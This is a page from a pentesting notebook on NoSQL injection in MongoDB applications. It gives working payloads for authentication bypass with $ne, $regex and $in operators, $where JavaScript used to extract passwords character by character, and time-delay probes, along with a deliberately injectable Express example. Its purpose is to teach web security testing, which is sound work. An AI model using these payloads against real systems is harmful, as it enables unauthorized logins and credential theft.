Pentesting and Red Teaming Notes
  • 🖥️Pentesting and Red Teaming Cheatsheet
  • Web Application Pentesting(BlackBox)
    • SQL Injection
    • Blind SQL Injection
    • Path Traversal
    • Attacking Authentication
    • Race Conditions
    • Business Logic Vulnerabilities
    • Command Injections
    • Information disclosure
    • Access Controls
    • File upload Attacks
    • XXE
    • Server Side Request Forgery
    • Api Testing
    • noSQL
    • DOM based vulnerabilities
    • Cross Site scripting
  • Infrastructure Pentesting
    • Windows Privilege Escalation
    • Attacking Active Directory
    • File Transfers and Download
    • Pivoting(Tunneling and Port Forwarding)
    • Linux Privilege Escalation
    • Stealing NTLM hashes
    • Tricks and Tips
  • Active Directory Pentesting
    • powershell theory
    • Methodology
    • domain enumeration
    • File Transfer
    • PowerShell ADModule
    • Local Privilege Escalation
    • PowerView Commands
    • ACLs Descriptions
    • ACLs Abuse
    • ACL
    • Trusts
    • User Hunting
    • group policy
    • Mimikatz
    • BloodHound
    • LateralMovement
    • Kerberoasting
    • defense bypasses
    • Set-SPN
    • ASREProasting
    • Unconstrained Delegation
    • Constrained Delegation
    • Resource Based Constrained Delegation
    • AD CS
    • Persistance
    • Priv Esc Trusts Inside Forest
    • MSSQL Servers
    • Priv Esc Trusts Across Forest
    • Tips And Tricks
    • Service Tickets and Abuses
  • Reconnaissance
    • Web Application Reconnaissance
    • External Reconnaissance
Powered by GitBook
On this page
  • NoSQL Injection
  • Authentication Bypass example
  • Types of nosql injection
  • Syntax Injection
  • NoSQL operator Injections
  1. Web Application Pentesting(BlackBox)

noSQL

NoSQL Injection

This is a vulnerability similar to sql injection but instead of manipulating the sql query which the application performs, we interfare with noSQL query that the application makes to its backend noSQL database. This may cause an attacker to.

  • Bypass authentication mechanism

  • Perform code execution on the server

  • Extract or even modify data

  • Cause a denial of service attack

Authentication Bypass example

{
	"username": "Alex"
	"password": {

		"$ne":"Test@12345"
	}
}

The above request performs following query via noSQL query on backend mongodb database

db.users.find({username:"Alex", password:{$ne:"Test@12345"}})
db.users.find({
  $and: [
    { username: "Alex" },
    { password: { $ne: "Test@12345" } }
  ]
})

Types of nosql injection

Syntax Injection

This is a technique where an attacker breaks out of a noSQL query in order to inject his/her own query. For example in the following nodejs code the item name is taken via GET request https://example.com/search?item=toothpaste and passing it to mongodb's find method db.Product.find({name:"toothpaste"})

const express = require('express');
const mongoose = require('mongoose');

const app = express();
const PORT = 3000; 

// Connect to MongoDB (Make sure MongoDB is running)
mongoose.connect('mongodb://localhost:27017/your-database-name', { useNewUrlParser: true, useUnifiedTopology: true });

// Define a Product schema
const productSchema = new mongoose.Schema({
  name: String,
  // Add other fields as needed
});

const Product = mongoose.model('Product', productSchema);

// Handle GET request with item name parameter
app.get('/search', async (req, res) => {
  const itemName = req.query.Item;

  try {
    // Search for the item in the database
    const result = await db.Product.find({ name: itemName });

    res.json(result);
  } catch (error) {
    res.status(500).json({ error: 'Internal Server Error' });
  }
});

// Start the server
app.listen(PORT, () => {
  console.log(`Server is running on http://localhost:${PORT}`);
});

To test for vulnerability here we try to break the query syntax using fuzz strings relevant to noSQL query like ' " } ) { ( ; ; etc to trigger a database error or some detectable difference in the application's response.

Breaking Syntax

'"`{
;$Foo}
$Foo \xYZ

Via url encode while passing request via url

'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

Breaking syntax in case of JSON

'\"`{\r;$Foo}\n$Foo \\xYZ\u0000

Testing each character to identify exactly which character is breaking the string

The following ' character breaks the query and causes error or difference

db.Product.find({name:'''})

Again use escape sequence to escape this character and observe the response. IF it is equal as original response we have identified the vulnerability.

db.Product.find({name:'\''})

After identiying the vulnerability

After identifying the vulnerability we need to determine whether boolean condition is processed or not. Here we test using True and False. This one is false ' && 0 && 'x and this one is true ' && 1 && 'x.

  • Test for false condition and notice the difference

db.Product.find({name:'toothpaste' && 0 && 'x'})
  • Test for true condition and notice the difference.

db.Product.find({name:'toothpaste' && 1 && 'x'})

If the application behaves differently, this suggests that the false condition impacts the query logic, but the true condition doesn't. This indicates that injecting this style of syntax impacts a server-side query.

  • We can also add null character after a payload which will comment the rest of the query '\u0000 or "\u0000

Data Extraction via syntax injection

In many nosql databases some query operations or functions can run limited javascript code such as mongodb's $where operator and mapReduce() function. Using javascript we may be able to extract data from the database. For examppe there exists a functionality where users can lookup users and their respective roles via

https://insecure-website.com/user/lookup?username=alex

This results in following noSQL query being executed in the users collection.

db.users.find({"$where":"this.username == 'alex'"})

We can inject javascript function to find each character of this user's password. First we find the length of the password.

' && this.password.length < 30 || 'a'=='b
https://insecure-website.com/user/lookup?username=alex' && this.password[0] == 'a' || 'a' == 'b

Here, as below username = alex AND first character of password is a if becomes true and since 'a' is not equal to b then TRUE OR FLASE is true then some change might happen in the application response else username is Alex and if password's first character is not equal to a then it becomes false so TRUE AND FALSE is FALSE and FALSE and FALSE becomes false and application might behave differently in this order we can guess each character.

db.users.find({"$where":"this.username == 'alex' && this.password[0] == 'a' || 'a'=='b'"})

We can also use javascript's match() function to extract information, for eg: for finding if the password contains any digits

https://insecure-website.com/user/lookup?username=alex' && this.password.match(/\d/) || 'a'=='b

How do we identify valid fields?

Since mongodb does not have a fixed schema like sql we can identify valid field as follows https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'. Here we are testing the password field is not empty.

' && this.password !='

SImilarly to identify other fields

' && this.FOO != '

NoSQL operator Injections

Useful Operators


$where - Matches documents that satisfy a JavaScript expression.
$ne - Matches all values that are not equal to a specified value.
$in - Matches all of the values specified in an array.
$regex - Selects documents where values match a specified regular expression.

Authentication Bypass via operator injection

  • Test for $ne operators {"username": "Alex"} becomes {username: {"$ne":"Invalid"}}

  • In case of url query /?username=alex becomes /?username[$ne]=Invalid

  • Maybe try converting the method from get to post then change content type to json?

  • Test each input field for operator injection {"username":"Alex", "password":{"$ne":"Test"}} again on password field {"username": {"$ne": "Test@123"}, "password": {"$ne": "12345"} }

  • Using known or guessed username we can target an account via {"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":"12345"}}

  • We can use regex operator like below if the password of Administrator starts with T it lets us login.

{

  "username": "Administrator"
  "password": {"$regex": "T*"}

}

Data extraction via operator injection

If the original query doesnot use any javascript operators we may be able to inject $where operator ourself. Considering a vulnerable application that accepts a username and password via POST request.

{"username":"alex","password":"12345"}

To test whether you can inject operators, you could try adding the $where operator as an additional parameter, then send one request where the condition evaluates to false, and another that evaluates to true. For example:

{"username":"alex","password":"12345", "$where":"0"}
{"username":"alex","password":"12345", "$where":"1"}

If there is a difference in the application's response this may indicate that the javascript expression is evaluated. Now we can extract the keys using keys() method as follows.

"$where":"Object.keys(this)[0].match('^a.')"

Time based inections

Sometimes triggering a database error doesn't cause a difference in the application's response. In this situation, you may still be able to detect and exploit the vulnerability by using JavaScript injection to trigger a conditional time delay.

To conduct timing-based NoSQL injection:

  • Load the page several times to determine a baseline loading time.

  • Insert a timing based payload into the input. A timing based payload causes an intentional delay in the response when executed. For example, {"$where": "sleep(5000)"}

  • causes an intentional delay of 5000 ms on successful injection.

  • Identify whether the response loads more slowly. This indicates a successful injection.

The following timing based payloads will trigger a time delay if the password beings with the letter a: admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+' admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

PreviousApi TestingNextDOM based vulnerabilities

Last updated 1 year ago